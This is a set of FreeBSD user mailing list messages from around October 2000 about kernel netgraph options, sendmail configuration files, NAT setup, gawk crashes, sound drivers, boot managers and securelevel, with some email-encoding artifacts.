mailing list archive or a newsgroup I added this line to my kernel config 
file...

options         NETGRAPH_ETHER

... and it fixed the messages coming up but I suspect it's a bit of a 
sledge-hammer solution. Of course I have these options too (I don't comment 
any of them out)...

options         NETGRAPH
options         NETGRAPH_PPPOE
options         NETGRAPH_SOCKET

I'm sure the messages you're getting can be ignore but if they bother you 
(as they did me) try adding just the NETGRAPH_ETHER option to your kernel 
config. If that doesn't solve it you can then try uncommenting the other two 
Netgraph options and you should see success.

BTW - I am using 4.1.1-RELEASE.

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On Mon, Oct 30, 2000 at 05:08:10AM +0800, John Summerfield wrote:

[snip]

> Is there something I've not installed? I can't find any package that looks 
> like sendmail, either installed or not.

What version are you at and from what media did you install again? In
the old days, one would find the sendmail configuration files in the
source distribution,

  /usr/src/contrib/sendmail/cf/

However, there was a recent move to transport that tree into
/usr/share, IIRC. I cannot recall if that happened before or after
4.1.1-RELEASE.

If you have a CD, load it up and something like,

  # cd /cdrom/src
  # cat scontrib.?? | tar --unlink -xpzf - -C /usr/src sendmail/cf

And that will get the stuff for sure.
-- 
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hmmm...  downloading/installing gawk-3.0.6 from ftp://ftp.gnu.org doesn't
cause me any problems on Solaris8 or FreeBSD.

Question:  does it core dump when you are installing it or does it core dump
when you run it?

-----Original Message-----
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On Sun, Oct 29, 2000 at 08:11:38PM -0500, Caleb Land wrote:
> 	Well, that makes it even more strange.  Is there a reason why
> the port would core dump but the version installed with the system
> would work correctly?  I suppose that it really doesn't matter, then,
> since the port isn't needed, but this is more puzzling than before :)
>

	I just noticed that the gawk port is version 3.0.6, whilst the
standard awk is gawk version 3.0.4.  This might or might not be the
cause of the problem, but may at least be a clue.

--
Sincerely,
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On Sun, Oct 29, 2000 at 07:36:59PM +0800, John Summerfield wrote:
> 
> I've just installed 4.1.1 from an ISO I found laying round the net. It's got 
> sendmail 8.11 which is fine by me.
> 
> However, where the heck are the sendmail documents and configuration tools?

You'll find the sample configurations for sendmail in /usr/src/etc/sendmail:

    hades-root:/root# cd /usr/src/etc/sendmail/
    hades-root:/usr/src/etc/sendmail# ls
    CVS/            Makefile        freebsd.mc      freefall.mc

the original sources of Sendmail 8.11.1 in /usr/src/contrib/sendmail:

    hades-root:/usr/src/etc/sendmail# cd /usr/src/contrib/sendmail/
    hades-root:/usr/src/contrib/sendmail# ls
    CVS/                    Makefile                doc/                    mailstats/              test/
    FAQ                     PGPKEYS                 include/                makemap/                vacation/
    FREEBSD-upgrade         README                  libmilter/              praliases/
    INSTALL                 RELEASE_NOTES           libsmdb/                rmail/
    KNOWNBUGS               cf/                     libsmutil/              smrsh/
    LICENSE                 contrib/                mail.local/             src/

the README for sendmail.cf options at /usr/src/contrib/sendmail/cf/README:

    hades-root:/usr/src/contrib/sendmail# ls -l cf/README*
    -rw-r--r--  1 root  wheel  129710 Oct 10 08:07 cf/README

The handbook and FAQ also contain some stuff about Sendmail and it's
configuration.  Grab them at http://www.freebsd.org/ or if you have
installed the doc- packages, take a look at the stuff under your
/usr/share/doc tree.

- giorgos


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On Sun, Oct 29, 2000 at 04:38:33AM -0800, Peter wrote:
> Hello 
> 
> 
> Im trying to make something close to bat for freebsd.  But don't know
> where to start.

There are lots of good books on every day usage of Unix and it's
environment.  I started with "The Unix Programming Environment" of
Brian Kernighan & Rob Pike, but this is an old book now, and I'm not
sure if it's still available.

> I was thinking making so when i hit say "c" it auto connect start ssh
> and connect to a remote site.

You can get away for this simple task with what Unix shells call
'aliases'.  For instance if you're using tcsh, you can write at your
prompt:

    % alias nini 'ssh -l username nini.somethere.net'

and then use the alias for running the entire quoted command:

    % nini

For more details, you can always consult the manual page of your
favorite shell; sh(1), bash(1), csh(1) or tcsh(1).

- giorgos


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Hi!

I have a FreeBSD server (FreeBSD 4.0) connected to the internet directly
thruw ethernet. There are 2 ohter PCs connected to the server using an IP
alias on the same NIC which is connected to the internet. Although i am
using the squid proxy server, it would be great to have full access to the
internet on the other 2 PCs too. I've heard about IP masquerading and i know
how it works, so i tried to get IP masquerading working on my FreeBSD
server, but it didn't work. I did everything described in the tuturial on
the FreeBSD site, but it didn't work. I built the custom kernel, switched on
the firewall, set the firewall type to open, added the ipfw rules for natd,
changed the standard gateway on the other 2 PCs and tried if something
worked, but no results, everything was exactly as before, 2 PCs with no
direct connection to the Internet.

Does anybody of you know where I can find a better configuration guide than
the one on the FreeBSD site? Or does anybody of you know what i've done
wrong, what could have been possible errors?

thanks,
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Howdy!

   I recently purchased a Stallion EasyIO (thinking it was supported
by both OpenBSD and FreeBSD).  It was suprising, when I realised that
the newer EasyIO cards have the SC26198 uart (and FreeBSD/OpenBSD
seem to only support CD1400).

   Noting the recent article posted on dailydaemon.org linking
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Are there device drivers available for this card? (for either of
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   - Julius

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I am interested in setting up a wireless network between my apartment and=
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Hi,
I am new in FreeBSD and have a small (or not) problem.
I installed 4.0-Release to 4-stable upgrade kit  and ports collection,
but  I get:

Error: your port uses an old layout.  Please update it to match this
bsd.port.mk.
*** Error code 1

Stop in /usr/ports/archivers/zip.
*** Error code 1

Stop in /usr/ports/archivers/zip.
*** Error code 1

Stop in /usr/ports/archivers/zip.
*** Error code 1

Stop in /usr/ports/archivers/zip.
*** Error code 1

Stop in /usr/ports/archivers/zip.

What must I do?

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On Sun, Oct 29, 2000 at 03:42:07PM -0600, Tony Johnson wrote:
> hmmm...  downloading/installing gawk-3.0.6 from ftp://ftp.gnu.org doesn't
> cause me any problems on Solaris8 or FreeBSD.
>=20
> Question:  does it core dump when you are installing it or does it core d=
ump
> when you run it?

	I can successfully compile/install gawk 3.0.6 from the ports
collection, but when I try to compile guile (which needs an awk
installed compile and install) from the ports collection, gawk bombs,
and dumps core while running a file from the guile source tree.  Here
is the error that I get:

---output---

gawk: ./guile-snarf.awk:17: (FILENAME=3D- FNR=3D11262) fatal error:
internal error
Abort trap - core dumped

---/output---

	The ``guile-snarf.awk'' file is in
``libguile/guile-snarf.awk'' relative to the root directory of the
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This works. Thank you very much.
Nicolas

BTW - I am also using 4.1.1-RELEASE. I knew I left something out in my =
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> >Hallo,
>=20
> Hello.
>=20
> >I'm using ppp and nat on freebsd to "dial" on demand via PPPoE.
> >On the first "dialout" I get the following error (cut from dmesg):
> >
> >module_register: module netgraph already exists!
> >linker_file_sysinit "netgraph.ko" failed to register! 17
> >
> >everything seems to work fine , but I want to know if this has any =
real=20
> >meaning and how can I get rid of it.
>=20
> I also got those messages and following a suggestion I found either on =
this=20
> mailing list archive or a newsgroup I added this line to my kernel =
config=20
> file...
>=20
> options         NETGRAPH_ETHER
>=20
> ... and it fixed the messages coming up but I suspect it's a bit of a=20
> sledge-hammer solution. Of course I have these options too (I don't =
comment=20
> any of them out)...
>=20
> options         NETGRAPH
> options         NETGRAPH_PPPOE
> options         NETGRAPH_SOCKET
>=20
> I'm sure the messages you're getting can be ignore but if they bother =
you=20
> (as they did me) try adding just the NETGRAPH_ETHER option to your =
kernel=20
> config. If that doesn't solve it you can then try uncommenting the =
other two=20
> Netgraph options and you should see success.
>=20
> BTW - I am using 4.1.1-RELEASE.
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> Aaron Hill




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* Roman Shterenzon <roman@xpert.com> [001028 18:56] wrote:
> Hi,
> Any idea how Linux' PACKET_SOCKET can be emulated in FreeBSD using bpf or/and
> libpcap? (I'm trying to port some linux software ...)
> Perhaps someone has done it already?
> Please include my email in your reply since I'm not subscribed to this list.

Afaik Linux's PACKET_SOCKET or whatever is just like a bpf node without
any filter.  If you want to port and do it right, you ought to port
the linux program to use libpcap because then it will run on just about
any OS that libpcap compiles on.

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On Sun, Oct 29, 2000 at 10:55:54PM +0100, Daniel Ruthardt wrote:
> Hi!
> 
> I have a FreeBSD server (FreeBSD 4.0) connected to the internet directly
> thruw ethernet. There are 2 ohter PCs connected to the server using an IP
> alias on the same NIC which is connected to the internet. Although i am
> using the squid proxy server, it would be great to have full access to the
> internet on the other 2 PCs too. I've heard about IP masquerading and i know
> how it works, so i tried to get IP masquerading working on my FreeBSD
> server, but it didn't work. I did everything described in the tuturial on
> the FreeBSD site, but it didn't work.

What's IP masquerading?

> I built the custom kernel, switched on
> the firewall, set the firewall type to open, added the ipfw rules for natd,
> changed the standard gateway on the other 2 PCs and tried if something
> worked, but no results, everything was exactly as before, 2 PCs with no
> direct connection to the Internet.

Oh, you want to do NAT.

> Does anybody of you know where I can find a better configuration guide than
> the one on the FreeBSD site? Or does anybody of you know what i've done
> wrong, what could have been possible errors?

We might be able to help you figure out what you may have done wrong
if you gave us some details on what you did. Some things that would
help there:

  $ cat /etc/rc.conf
  $ fgrep 'IP packet filtering' /var/run/dmesg.boot
  $ ifconfig -a
  $ ipfw show

If you have a natd.conf file,

  $ cat natd.conf

If you have made a custom firewall script (the distributed rc.firewall
script should work out of the box with natd(8) and an "OPEN" setting),
please include that.
-- 
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Hello,

I'm relatively new to freebsd and have somehow hosed windows on my
first partition.  When everything worked I got this message at startup:

F1	Windows
F2	FreeBSD
F3	FreeBSD

However,  it was sort of annoying because the second freebsd partition is
the location of my /home directory (not bootable).  So I used boot0cfg to
mask off the third slice (-m 0x3) and found that it got rid of the third
slice, except when I try to boot into windows, when I get something like
the following:

F1	Windows
F2	FreeBSD
F3	Disk0

The computer beeps and doesn't boot the first slice, but will boot the
second (FreeBSD).  My partition table looks like:

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3	FreeBSD (/home)

and I have a swap partition on a different disk drive plugged into the
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Can anyone help?

Thanks,
Ramon  



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Hello Joe,

> Unfortunately this doesn't work.  I just cvs-up'd my src and rebuilt the
> kernel using
> 
> device          pcm
> device          joy

> dmesg -v says nothing about the joystick.

At least there should be an "unknown device" then? I don´t have your card, but
an AWE 64 GOLD. When trying to establish its joystick port I got this "unknown
device" (IIRC!), if I omitted everything referring to joy; I got the wrong
address (0x201 instead of 0x200, as in your first posting), if I enabled 
device joy
AND
device       joy0   at isa? port IO_GAME

Putting only "device joy" worked for me and I can´t remember, what happened if I
only did the isa line.

> Are there any options that need to be set?  I'm not sure of the details of
> this card to know whether or not I need to do something deliberate to get
> the PnP part to work.

I just looked into my kernel conf file again, but there is nothing else, which
could be necessary for the joystick. (I have "device sbc" as man sbc suggested
this for my AWE, but this shouldn´t affect the joystick port; but I never
checked this out.)

Sorry, seems I can´t help you any further, maybe someone else can jump in?

Ciao
Siegbert


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> Hi!
>
> I have a FreeBSD server (FreeBSD 4.0) connected to the internet directly
> thruw ethernet. There are 2 ohter PCs connected to the server using an IP
> alias on the same NIC which is connected to the internet. Although i am
> using the squid proxy server, it would be great to have full access to the
> internet on the other 2 PCs too. I've heard about IP masquerading and i
know
> how it works, so i tried to get IP masquerading working on my FreeBSD
> server, but it didn't work. I did everything described in the tuturial on
> the FreeBSD site, but it didn't work. I built the custom kernel, switched
on
> the firewall, set the firewall type to open, added the ipfw rules for
natd,
> changed the standard gateway on the other 2 PCs and tried if something
> worked, but no results, everything was exactly as before, 2 PCs with no
> direct connection to the Internet.
>
> Does anybody of you know where I can find a better configuration guide
than
> the one on the FreeBSD site? Or does anybody of you know what i've done
> wrong, what could have been possible errors?

Did you set gatewayenabled=yes in /etc/rc.conf ?

>
> thanks,
> Daniel
>
>
>
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Hello Mark,

> When KDE autoboots and I login, I would like the sound mixer's master
> volume control to be at maximum, but it's not.  How can I set it up so
> it's automatically maxed when it's run?

I have in  /usr/local/etc/rc.d/mixer.sh :

#!/bin/sh -
#
#
 
echo -n ' /usr/local/etc/rc.d/rc.local initialization:'
 
        echo -n ' mixer setting'
        mixer vol 100 pcm 100 cd 100> /dev/null 2>&1 


Ciao
Siegbert


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On the make of html2ps I get an error on the hdf build like so;
===>    Verifying install for df.1 in /usr/ports/graphics/hdf
===>  Building for hdf-4.1r3
===> hdf
===> hdf/src
Warning: Object directory not changed from original /usr/ports/graphics/hdf/work
/HDF4.1r3/hdf/src
===> hdf/util
===> hdf/test
f77   -O -O -pipe -I/usr/ports/graphics/hdf/work/HDF4.1r3/hdf/test/../src -Nn802
 -Nx400 -c tvsetf.f
f77   -O -O -pipe -I/usr/ports/graphics/hdf/work/HDF4.1r3/hdf/test/../src -Nn802
 -Nx400 -c tvattrf.f
f77: unrecognized option `-Nn802'
f77: unrecognized option `-Nx400'
f77: unrecognized option `-Nn802'
f77: unrecognized option `-Nx400'
tvattrf.f: In subroutine `tvattrf':
tvattrf.f:201: warning:
         ret = vfgnatt(vgid, 0, iattri)
               1
tvattrf.f:211: (continued):
         ret = vfgnatt(vgid, ret, iattrs)
               2
Argument #3 of `vfgnatt' is one precision at (2) but is some other precision at
(1) [info -f g77 M GLOBALS]
tvattrf.f:201: warning:
         ret = vfgnatt(vgid, 0, iattri)
               1
tvattrf.f:276: (continued):
         ret = vfgnatt(vgid, 1, iattrr)
               2
Argument #3 of `vfgnatt' is one type at (2) but is some other type at (1) [info
-f g77 M GLOBALS]
tvattrf.f:162: warning:
         ret = vsfgnat(vsid, findex, aindex, iattrg)
               1
tvattrf.f:300: (continued):
         ret = vsfgnat(vsid, 0, 0, iattrr)
               2
Argument #4 of `vsfgnat' is one precision at (2) but is some other precision at
(1) [info -f g77 M GLOBALS]
tvsetf.f: In subroutine `tvsetf':
tvsetf.f:184: warning:
         ret = vsfnpak(vsid2, HDF_VSPACK,
               1
tvsetf.f:188: (continued):
         ret = vsfnpak(vsid2, HDF_VSPACK,
               2
Argument #8 of `vsfnpak' is one type at (2) but is some other type at (1) [info
-f g77 M GLOBALS]
tvsetf.f:184: warning:
         ret = vsfnpak(vsid2, HDF_VSPACK,
               1
tvsetf.f:191: (continued):
         ret = vsfnpak(vsid2, HDF_VSPACK,
               2
Argument #8 of `vsfnpak' is one type at (2) but is some other type at (1) [info
-f g77 M GLOBALS]
tvsetf.f:184: warning:
         ret = vsfnpak(vsid2, HDF_VSPACK,
               1
tvsetf.f:194: (continued):
         ret = vsfnpak(vsid2, HDF_VSPACK,
               2
Argument #8 of `vsfnpak' is one precision at (2) but is some other precision at
(1) [info -f g77 M GLOBALS]
tvsetf.f:151: warning:
         ret = vsfwrt(vsid1, ddata1, 5, FULL_INTERLACE)
               1
tvsetf.f:201: (continued):
         ret = vsfwrt(vsid2, dbuf, 5, FULL_INTERLACE)
               2
Argument #2 of `vsfwrt' is one precision at (2) but is some other precision at (
1) [info -f g77 M GLOBALS]
tvsetf.f:305: warning:
         ret = vsfrd(vsid1, iddata1, 5, FULL_INTERLACE)
               1
tvsetf.f:322: (continued):
         ret = vsfrd(vsid1, idbuf, 5,FULL_INTERLACE)
               2
Argument #2 of `vsfrd' is one precision at (2) but is some other precision at (1
) [info -f g77 M GLOBALS]
tvsetf.f:305: warning:
         ret = vsfrd(vsid1, iddata1, 5, FULL_INTERLACE)
               1
tvsetf.f:341: (continued):
         ret = vsfrd(vsid1, idbuf, 5,FULL_INTERLACE)
               2
Argument #2 of `vsfrd' is one precision at (2) but is some other precision at (1
) [info -f g77 M GLOBALS]
tvsetf.f:305: warning:
         ret = vsfrd(vsid1, iddata1, 5, FULL_INTERLACE)
               1
tvsetf.f:428: (continued):
         ret = vsfrd(vsid2, idbuf, 3, FULL_INTERLACE)
               2
cc -o testhdf rig.o sdstr.o blocks.o an.o anfile.o extelt.o file.o file1.o vers.
o sdmms.o sdnmms.o slab.o litend.o tvset.o comp.o bitio.o tree.o macros.o conv.o
 nbit.o man.o mgr.o testhdf.o tbv.o tvsfpack.o chunks.o tvattr.o buffer.o /usr/p
orts/graphics/hdf/work/HDF4.1r3/hdf/test/../src/libdf.so -lm
Argument #2 of `vsfrd' is one precision at (2) but is some other precision at (1
) [info -f g77 M GLOBALS]
tvsetf.f:184: warning:
         ret = vsfnpak(vsid2, HDF_VSPACK,
               1
tvsetf.f:433: (continued):
         ret = vsfnpak(vsid2, HDF_VSUNPACK,
               2
Argument #8 of `vsfnpak' is one type at (2) but is some other type at (1) [info
-f g77 M GLOBALS]
tvsetf.f:184: warning:
         ret = vsfnpak(vsid2, HDF_VSPACK,
               1
tvsetf.f:436: (continued):
         ret = vsfnpak(vsid2, HDF_VSUNPACK,
               2
Argument #8 of `vsfnpak' is one type at (2) but is some other type at (1) [info
-f g77 M GLOBALS]
tvsetf.f:184: warning:
         ret = vsfnpak(vsid2, HDF_VSPACK,
               1
tvsetf.f:439: (continued):
         ret = vsfnpak(vsid2, HDF_VSUNPACK,
               2
Argument #8 of `vsfnpak' is one precision at (2) but is some other precision at
(1) [info -f g77 M GLOBALS]
tvsetf.f:305: warning:
               2
Argument #8 of `vsfnpak' is one type at (2) but is some other type at (1) [info
-f g77 M GLOBALS]
tvsetf.f:184: warning:
         ret = vsfnpak(vsid2, HDF_VSPACK,
               1
tvsetf.f:436: (continued):
         ret = vsfnpak(vsid2, HDF_VSUNPACK,
               2
Argument #8 of `vsfnpak' is one type at (2) but is some other type at (1) [info
-f g77 M GLOBALS]
tvsetf.f:184: warning:
         ret = vsfnpak(vsid2, HDF_VSPACK,
               1
tvsetf.f:439: (continued):
         ret = vsfnpak(vsid2, HDF_VSUNPACK,
               2
Argument #8 of `vsfnpak' is one precision at (2) but is some other precision at
(1) [info -f g77 M GLOBALS]
tvsetf.f:305: warning:
         ret = vsfrd(vsid1, iddata1, 5, FULL_INTERLACE)
               1
tvsetf.f:477: (continued):
         ret = vsfrd(vsid2, idbuf, 2, FULL_INTERLACE)
               2
Argument #2 of `vsfrd' is one precision at (2) but is some other precision at (1
) [info -f g77 M GLOBALS]
/usr/lib/libg2c.so.1: warning: tempnam() possibly used unsafely; consider using
mkstemp()
test -d testdir || mkdir testdir
f77 -O -O -pipe -I/usr/ports/graphics/hdf/work/HDF4.1r3/hdf/test/../src -Nn802 -
Nx400 -o fortestF fortestF.o forsupff.o forsupf.o  manf.o mgrf.o slabwf.o t24f.o
 tanf.o tanfilef.o tpf.o tr8f.o  tsdmmsf.o tsdnmmsf.o tsdnntf.o tsdntf.o tsdstrf
.o tstubsf.o   tvsetf.o tvattrf.o /usr/ports/graphics/hdf/work/HDF4.1r3/hdf/test
/../src/libdf.so -lm
f77: unrecognized option `-Nn802'
f77: unrecognized option `-Nx400'
/usr/lib/libg2c.so: warning: tempnam() possibly used unsafely; consider using mk
stemp()
===> mfhdf
===> mfhdf/fortran
Warning: Object directory not changed from original /usr/ports/graphics/hdf/work
/HDF4.1r3/mfhdf/fortran
===> mfhdf/libsrc
Warning: Object directory not changed from original /usr/ports/graphics/hdf/work
/HDF4.1r3/mfhdf/libsrc
cc -O -pipe -DNDEBUG -DHDF -I/usr/ports/graphics/hdf/work/HDF4.1r3/mfhdf/libsrc/
../../hdf/src -I/usr/ports/graphics/hdf/work/HDF4.1r3/mfhdf/libsrc -DSWAP -c arr
ay.c -o array.o
cc -pg -O -pipe -DNDEBUG -DHDF -I/usr/ports/graphics/hdf/work/HDF4.1r3/mfhdf/lib
src/../../hdf/src -I/usr/ports/graphics/hdf/work/HDF4.1r3/mfhdf/libsrc -DSWAP -c
 array.c -o array.po
cc -fpic -DPIC -O -pipe -DNDEBUG -DHDF -I/usr/ports/graphics/hdf/work/HDF4.1r3/m
fhdf/libsrc/../../hdf/src -I/usr/ports/graphics/hdf/work/HDF4.1r3/mfhdf/libsrc -
DSWAP -c array.c -o array.So


then continues OK...

I am getting errors no using html2ps and wonder if this is the cause.



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Hi,

    I have a question about the installation process.

    I have read the installation material and tried to install it but =
had a problem.

    I had downloaded the current stable version and put it on a hard =
drive. This drive is my D drive.

    I installed dos 6.2 on my C drive and booted to it.

    I started the installation. I followed the instructions and resolved =
several hardware conflicts. Those     conflicts seemed to be with =
hardware I didn't have.

    The install process started to probe the hardware. It said it might =
take a while. After 45 minutes with no apparent activity I shut the =
computer off and on and tried to boot to my c drive again. The dirve was =
not available.

    I can boot to a floppy but the hard drives are not available. I have =
tried another known good drive and two more drive controllers. I have =
reset the bios. All to no avail. I keep getting a message that the hard =
drives are bad or not there.

The PC I used was a working 486-33 so I didn't lose alot but need to =
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Thank you,
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<DIV><FONT face=3DArial size=3D2>Hi,</FONT></DIV>
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<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; I have a question =
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<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; I have read the =
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material and tried to install it but had a problem.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; I had downloaded the =
current=20
stable version and put it on a hard drive. This drive is my D=20
drive.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; I installed dos 6.2 =
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<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; I started the =
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&nbsp;&nbsp;&nbsp; conflicts seemed to be with hardware I didn't=20
have.</FONT></DIV>
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<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; The install process =
started to=20
probe the hardware. It said it might take a while. After 45 minutes with =
no=20
apparent activity I shut the computer off and on and tried to boot to my =
c drive=20
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<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; I can boot to a =
floppy but the=20
hard drives are not available. I have tried another known good drive and =
two=20
more drive controllers. I have reset the bios. All to no avail. I keep =
getting a=20
message that the hard drives are bad or not there.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>The PC I used was a working 486-33 so I =
didn't lose=20
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again.</FONT></DIV>
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From: Kyle Smith <ks1060@nmia.com>
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Subject: Sound Problems. 
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Hello. I am experienceing a problem with trying to get sound to work in
FreeBSD. The sound card is a Yamaha OPL-SA3 card, on a Gateway 2000
Solo 9100SE Laptop. The FreeBSD Version is FreeBSD 4.1-RELEASE. 

tifa-lockheart:~> uname -a
FreeBSD tifa-lockheart.internal.daydreamer.org 4.1-RELEASE FreeBSD
4.1-RELEASE #3: Sun Oct 29 17:40:09 MST 2000
ksmith@tifa-lockheart.internal.daydreamer.org:/usr/src/sys/compile/tifa-lockheart
i386

tifa-lockheart:~> dmesg |grep pcm0
pcm0: <OPL3-SA3 (YMF715)> at port 0x530-0x537,0x370-0x371 irq 5 drq 1
flags 0xc100 on isa0

The problem that I am experiencing is this error when I try to play sound
files (In this case MP3's):

PCM0: play interrupt timeout, channel dead.

then the program (in this case amp) quits. When I try to When I try to
play the sound files again, I get this error:

Unable to open the audio device.
Broken Pipe.

I was looking at some of the FreeBSD archives reguarding this issue, and
someone from there told me to apply this patch:

Index: channel.c
===================================================================
RCS <a href="file:">file:</a> /home/ncvs/src/sys/dev/sound/pcm/channel.c,v
retrieving revision 1.32
diff -u -r1.32 channel.c
--- channel.c	2000/06/20 23:42:08	1.32
+++ channel.c	2000/07/22 17:36:34
@@ -234,7 +234,7 @@
 		b-&gt;fl = b-&gt;bufsize - b-&gt;rl;
 	  	b-&gt;underflow = 0;
 	} else {
-		/* chn_dmaupdate(c); */
+		chn_dmaupdate(c);
 	}
 }
 
I went ahead and applied this patch to no avail. I have also tried to
turn off Plug-and-Play in my BIOS, recompiling the kernel with and
(without the commented out) the following lines: (in
/sys/i386/conf/tifa-lockheart)
....
#device          pca0 at isa? port IO_TIMER1
#device          pcm
#device          sbc0 at isa? port 0x220 irq 5 drq 1 flags 0x15
device          pcm0 at isa? irq 5 drq 1 flags 0x0
....


Any help on this matter would be greatly appreciated. Thank you very much. 
Please send me a copy response as I am not currently on the
freebsd-questiong mailing list.

---
Kyle Donald Smith
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hey kevin,

boot from a floppy disk and run fdisk, because i think you have probably=
 deleted all your partitions. create some new and 
start freebsd-setup from a bootdisk. installing msdos is useless.

i hope that helped

bye


--Original Message Text---
From: Kevin Chudy
Date: Sun, 29 Oct 2000 19:01:34 -0500

Hi,
=FF
=FF=FF=FFI have a question about the installation process.
=FF
=FF=FF=FFI have read the installation material and tried to install it b=
ut had a problem.
=FF
=FF=FF=FFI had downloaded the current stable version and put it on a har=
d drive. This drive is my D drive.
=FF
=FF=FF=FFI installed dos 6.2 on my C drive and booted to it.
=FF
=FF=FF=FFI started the installation. I followed the instructions and res=
olved several hardware conflicts. 
Those =FF=FF=FFconflicts seemed to be with hardware I didn't have.
=FF
=FF=FF=FFThe install process started to probe the hardware. It said it m=
ight take a while. After 45 minutes 
with no apparent activity I shut the computer off and on and tried to bo=
ot to my c drive again. The 
dirve was not available.
=FF
=FF=FF=FFI can boot to a floppy but the hard drives are not available. I=
 have tried another known good drive 
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Serif" DEFAULT=3D"FACE">hey kevin,<BR>
<BR>
boot from a floppy disk and run fdisk, because i think you have probably=
 deleted all your partitions. create some new and start freebsd-setup fr=
om a bootdisk. installing msdos is useless.<BR>
<BR>
i hope that helped<BR>
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bye<BR>
<BR>
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--Original Message Text---<BR>
<B>From:</B> Kevin Chudy<BR>
<B>Date:</B> Sun, 29 Oct 2000 19:01:34 -0500<BR>
<BR>
<FONT SIZE=3D"2" POINTSIZE=3D"10"><FONT FACE=3D"Arial">Hi,<FONT SIZE=3D"=
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<FONT SIZE=3D"2" POINTSIZE=3D"10"><FONT FACE=3D"Arial">&nbsp;&nbsp;have =
a question about the installation process.<FONT SIZE=3D"1" POINTSIZE=3D"=
8" DEFAULT=3D"SIZE"><FONT FACE=3D"MS Sans Serif" DEFAULT=3D"FACE"><BR>
&nbsp;<BR>
<FONT SIZE=3D"2" POINTSIZE=3D"10"><FONT FACE=3D"Arial">&nbsp;&nbsp;have =
read the installation material and tried to install it but had a problem=
.<FONT SIZE=3D"1" POINTSIZE=3D"8" DEFAULT=3D"SIZE"><FONT FACE=3D"MS Sans=
 Serif" DEFAULT=3D"FACE"><BR>
&nbsp;<BR>
<FONT SIZE=3D"2" POINTSIZE=3D"10"><FONT FACE=3D"Arial">&nbsp;&nbsp;had d=
ownloaded the current stable version and put it on a hard drive. This dr=
ive is my D drive.<FONT SIZE=3D"1" POINTSIZE=3D"8" DEFAULT=3D"SIZE"><FON=
T FACE=3D"MS Sans Serif" DEFAULT=3D"FACE"><BR>
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<FONT SIZE=3D"2" POINTSIZE=3D"10"><FONT FACE=3D"Arial">&nbsp;&nbsp;insta=
lled dos 6.2 on my C drive and booted to it.<FONT SIZE=3D"1" POINTSIZE=3D=
"8" DEFAULT=3D"SIZE"><FONT FACE=3D"MS Sans Serif" DEFAULT=3D"FACE"><BR>
&nbsp;<BR>
<FONT SIZE=3D"2" POINTSIZE=3D"10"><FONT FACE=3D"Arial">&nbsp;&nbsp;start=
ed the installation. I followed the instructions and resolved several ha=
rdware conflicts. Those &nbsp;&nbsp;seemed to be with hardware I didn't =
have.<FONT SIZE=3D"1" POINTSIZE=3D"8" DEFAULT=3D"SIZE"><FONT FACE=3D"MS =
Sans Serif" DEFAULT=3D"FACE"><BR>
&nbsp;<BR>
<FONT SIZE=3D"2" POINTSIZE=3D"10"><FONT FACE=3D"Arial">&nbsp;&nbsp;insta=
ll process started to probe the hardware. It said it might take a while.=
 After 45 minutes with no apparent activity I shut the computer off and =
on and tried to boot to my c drive again. The dirve was not available.<F=
ONT SIZE=3D"1" POINTSIZE=3D"8" DEFAULT=3D"SIZE"><FONT FACE=3D"MS Sans Se=
rif" DEFAULT=3D"FACE"><BR>
&nbsp;<BR>
<FONT SIZE=3D"2" POINTSIZE=3D"10"><FONT FACE=3D"Arial">&nbsp;&nbsp;can b=
oot to a floppy but the hard drives are not available. I have tried anot=
her known good drive and two more drive controllers. I have reset the bi=
os. All to no avail. I keep getting a message that the hard drives are b=
ad or not there.<FONT SIZE=3D"1" POINTSIZE=3D"8" DEFAULT=3D"SIZE"><FONT =
FACE=3D"MS Sans Serif" DEFAULT=3D"FACE"><BR>
&nbsp;<BR>
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 a working 486-33 so I didn't lose alot but need to figure out what is g=
oing on before I try again.<FONT SIZE=3D"1" POINTSIZE=3D"8" DEFAULT=3D"S=
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&nbsp;<BR>
<FONT SIZE=3D"2" POINTSIZE=3D"10"><FONT FACE=3D"Arial">Does anybody have=
 any ideas? When the install process says it might take a while to probe=
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DEFAULT=3D"FACE"><BR>
<FONT SIZE=3D"2" POINTSIZE=3D"10"><FONT FACE=3D"Arial">Kevin<FONT SIZE=3D=
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hello,

i raised my kern.securelevel to 2. soon i realized, that this was a wrong decission for what im doing, such as using bpf. ive 
read that there is no other way to switch it down, than reinstalling freebsd. is this true? because i really want to avoid that 
step.

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Dear Sirs,

Could you help me why my HD SCSI can not be detected when I installed
FreeBSD ?

My Adaptec AIC-780
My Hardisk DNES-309170W Ultra2-LVD

What should I do ?

Sonys



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Boot into single user.  vi rc.conf.  turn securelevel to 0.  reboot.  That
should fix it.  Secure level breaks X.  Also if you do chflags -schg, you
will not be able to change those until the secure level is set to 0.  On a
working production system this is good!  Increased security is good.

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hello,

i raised my kern.securelevel to 2. soon i realized, that this was a wrong
decission for what im doing, such as using bpf. ive
read that there is no other way to switch it down, than reinstalling
freebsd. is this true? because i really want to avoid that
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Jaroshenko Serge wrote:
> 
> On Wed, 25 Oct 2000, James Wilde wrote:
> 
> > I've checked the handbook and other sources on IPFW and IP-Filter and I
> > would appreciate some comments on the two.
> >
> > I assume that one uses either/or and not both.  IPFW is compiled into the
> > kernel but IP-Filter runs as an application.
> 
> ipfilter is compiled into kernel -  see LINT :
> 
> options         IPFIREWALL              #firewall
> options         IPFIREWALL_VERBOSE      #print information about
>                                         # dropped packets
> options         IPFIREWALL_FORWARD      #enable transparent proxy support
> options         IPFIREWALL_VERBOSE_LIMIT=100    #limit verbosity
> options         IPFIREWALL_DEFAULT_TO_ACCEPT
> options         IPDIVERT                #divert sockets
> options         IPFILTER                #ipfilter support
> options         IPFILTER_LOG            #ipfilter logging
> options         IPSTEALTH               #support for stealth forwarding
> 

I picked up an extra low-end box and was just about to begin
